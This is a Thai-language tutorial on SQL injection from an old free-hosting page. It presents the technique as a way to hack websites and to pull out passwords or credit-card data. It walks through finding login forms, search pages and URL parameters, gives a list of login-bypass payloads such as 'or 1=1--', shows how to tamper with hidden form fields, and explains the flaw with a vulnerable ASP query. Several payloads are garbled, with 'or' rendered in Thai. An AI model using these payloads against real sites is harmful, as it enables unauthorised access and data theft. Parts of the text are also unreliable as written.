Free Web Site
-
Free Web Space and Site Hosting
-
Web Hosting
-
Internet Store and Ecommerce Solution Provider
-
High Speed Internet
Search the Web
Welcome!
Close
Would you like to make this site your homepage? It's fast and easy...
Yes, Please make this my home page!
No Thanks
Don't show this to me again.
Close
SQL Injection
SQL Injection Tutorial
Introduction
เมื่อเครื่องเว็บเซิฟเวอร์ของคุณเปิดพอร์ทแค่เพียงพอร์ท 80 และคุณก็ไว้ใจโปรแกรมสแกนช่องโหว่บนเว็บเซิฟ
เวอร์ของคุณว่าจะไม่ส่งค่าที่มีประโยชน์ผ่านทางบราวเซอร์ออกมาให้แฮกเกอร์ได้ยิ้มกัน และก็คุณก็ยังอัพเดท
แพทต่างๆให้กับเว็บเซิฟเวอร์ของคุณอีกคุณคงไว้ใจได้แล้วว่าปลอดภัยแ่น่แต่ไม่ช้าก่อนยังมีอีกวิธีหนึ่งที่เรียกว่า
SQL Injection วิธีนี้เป็นการแฮกเว็บไซต์อย่างหนึ่งโดยที่ไม่ต้องการอะไรเลยนอกจาก พอร์ท 80 ซึ่งทุกเว็บ
ไซต์ต้องเปิดอยู่แล้ว วิธีนี้อาศัยการโจมตีพวก เว็บ แอพลิเคชั่น อย่าง ASP PHP CGI JSP และก็อื่นๆอีก
ช่องโหว่นี้พวกฝรั่งเขาเจอกันนานแล้วแต่ว่าเว็บของคนไทยยังไ่ม่มีการให้รายละเอียดในเรื่องนี้มากนัก และก็มี
ผลให้เว็บไซต์ต่างๆ ยังไม่ป้องกันกัน
SQL Injection คืออะำไรกันแน่
เป็นเทคนิคที่ใช้คำสั่ง SQL ผ่านทางเว็บบราวเซอร์เพื่อดึงข้อมูลบางอย่างที่น่าสนใจออกมา จะใช้อย่างไรหละ
คำถามที่ติดอยู่ ก่อนอื่นดูเว็บไซต์พวกที่มีการสมัครสมาชิก เพราะเว็บพวกนี้จะมีพาราเมตเตอร์ที่ใช้ตรวจ
สอบ ยูสเซอร์เนม และ พาสเวิร์ดที่อยู่บนฐานข้อมูล SQL บนเว็บเซิฟเิวอร์ อย่างเช่น แอดเดรสดังต่อไปนี้
http://www.domain.com/userlogin.php?user=hotn,pass=hotn
จากข้างบนถ้ายูสเซอร์และพาสเวิร์ดที่เราใส่จะถูกตรวจสอบในฐานข้อมูล SQL ถ้าถูกต้องก็จะสามารถเข้าไปสู่
หน้าอีกหน้าหนึ่งได้ ถ้าเรามานั่งลองคิดดู เราอาจที่จะสามารถนำคำสั่ง SQL มาใช้ทำอะไรบางอย่างเพื่อดึง
ข้อมูลออกมาได้เช่น พาสเวิร์ด เบอร์บัตรเครดิต(คิดลึกเกินไปอะป่าว) ล็อกอินโดยไม่ต้องใช้พาสเวิร์ด และอย่าง
้น้อยสุดที่จะได้ออกมาก็คือ ข้อมูลที่ไม่ค่อยสำคัญ
คุณต้องมีอะไรก่อนเริ่มทดสอบช่องโหว่นี้
ช่องโหว่นี้ไม่ต้องการอะไรเลย นอกจากเว็บบราวเซอร์เท่านั้น
อะไรที่คุณควรดูในเว็บต่างๆ
มองดูหน้าเว็บที่มีการให้กรอกข้อมูลต่างๆเช่น หน้าล็อกอิน เซิร์ทเอ็นจิ้น อะไรก็ได้ที่เป็นการ Submit ข้อมูล
จากนั้นไปดูซอร์ดโค้ด ที่มีคำสั่ง POST ที่ส่งค่าไปยังอีกเว็บหนึ่ง อาจจะงงกันหน่อยว่าเจ้า POST มันอยู่ที่
ไหนเอาง่ายๆเลยมันจะอยู่ในแท็ก <FORM> อาจจะเป็นแบบนี้ก็ได้
<FORM action=Search/search.asp
method=post
>
<input type=hidden name=A value=C>
</FORM>
ข้างบนเป็นสิ่งที่คุณอาจจะเจอในซอร์ดโค้ดของเว็บเพจที่มีบริการค้นหา ค่าต่างๆที่อยู่ <FORM> และ
</FORM> เีนี่ยจะมีประโยชน์มากในการแฮก
แล้วถ้าไม่เจอช่องใส่ข้อมูลหละ
ก็ให้ดูเว็บไซต์ที่สร้างขึ้น PHP ASP CGI ที่มีค่าพาราเมเตอร์ร่วมอยู่ด้วยเช่น
http://www.domain.com/product.php?id=10
เริ่มลองทดสอบช่องโหว่ SQL Injection
เริ่มด้วยการใส่ค่า
hi' หรือ 1=1--
นี้ลงในช่องกรอก Username , Password หรือ แอดเดรสบาร์
เช่น
- Login: hi' หรือ1=1--
- Pass: hi' หรือ 1=1--
- http://duck/index.asp?id=hi' หรือ 1=1--
ถ้าคุณต้องการทดสอบด้วย Hidden Field ก็ดาวโหลดหน้าเว็บเพจเหล่านั้นเก็บไว้ในเครื่องคุณแล้วเปลี่ยน
แอดเดรสและ Hidden Field ตามตัวอย่างข้างล่างนี้
<FORM action=
http://duck/
Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
ถ้าคุณโชคดีคุณก็อาจจะล็อกอินโดยไม่ต้องใช้พาสเวิร์ดเราเรียกวิธีนี้ว่า Login Bypass
มันเกิดขึ้นได้ไง
ดูตัวอย่างต่อไปนี้
http://duck/index.asp?category=food
จะเห็น category ซึ่งเป็นตัวแปร และ food เป็นค่าที่จะส่งให้ category เรามาดูโค้ดที่เว็บโปรแกรมมิ่ง
เขียนเพื่อใช้ในการเซิร์ทหาข้อมูลกันเลย
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
เราจะเห็นคำสั่ง v_cat ที่ใช้รับค่าจากตัวแปรcategory บรรทัดต่อมาเป็นคำสั่ง SQL
SELECT * FROM product WHERE PCategory=
'" & v_cat & "'"
จะเป็นการเลือกเอาข้อมูลทุกอย่างจากตาราง product โดยมีเงื่อนไขที่ว่า PCategory เท่ากับค่า v_cat
จะดูง่ายขึ้นถ้าเราเขียนอย่างนี้
SELECT * FROM product WHERE PCategory=
'food'
ผลลัพธ์ที่ได้คือจะไปยังหน้าที่มีข้อมูลสินค้าที่เกี่ยวกับอาหารอยู่ แล้วเมื่อเราเปลี่ยน URL เป็น
http://duck/index.asp?category=food
' or 1=1--
ดังนั้นตัวแปร v_cat จะเท่ากับ "food of 1=1--" แล้วถ้าเรามาดูในคำสั่ง SQL จะเป็นอย่างนี้
SELECT * FROM product WHERE PCategory='food' or 1=1--'
จะเป็นการเลือกเอาข้อมูลทุกอย่างจากตาราง product โดยมีเงื่อนไขที่ว่า PCategory เท่ากับ food จะจริงหรือไม่จริงก็ตามคำสั่งข้างต้นก็ถูกยกเิลิกไปเพราะว่าตัวนี้ "1=1--" เป็นการบอกให้ SQL นั้นยกเลิกคำ
สั่งดังกล่าวทำให้เกิดการทำงานที่เรียกว่า Injection โดยมีการรีเทิร์นค่าออกมาให้เห็นผ่านทางหน้าเว็บเพจ
บางครั้งเราก็สามารถลองแทน "1=1--" เป็น "1=1#" ก็ได้ถ้าอันแรกไม่ได้ผล ไม่ใช่เพียง "1=1--" ตัวเดียว
เท่านั้นเรายังมีอีกดังนี้เพื่อให้คุณได้เอาไปทดสอบกัน
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
ที่จริงมันขึ้นอยู่กับว่าเว็บโปรแกรมมิ่งคนนั้นเขียนโค้ดขึ้นรวบรัดเพียงใดเขียนดีแค่ไหนเท่านั้นเองครับ
แล้วแหล่งหาความรู้เพิ่มเติมหละ
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
http://www.owasp.org/asac/input_validation/sql.shtml
http://www.sensepost.com/misc/SQLinsertion.htm
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf
เว็บที่มีค้นพบช่องโหว่นี้โดย HOTN
http://www.geocities.com/orkphol/news/001.html
โดย Crazy_top เว็บมาสเตอร์ 23-01-47 11:37 AM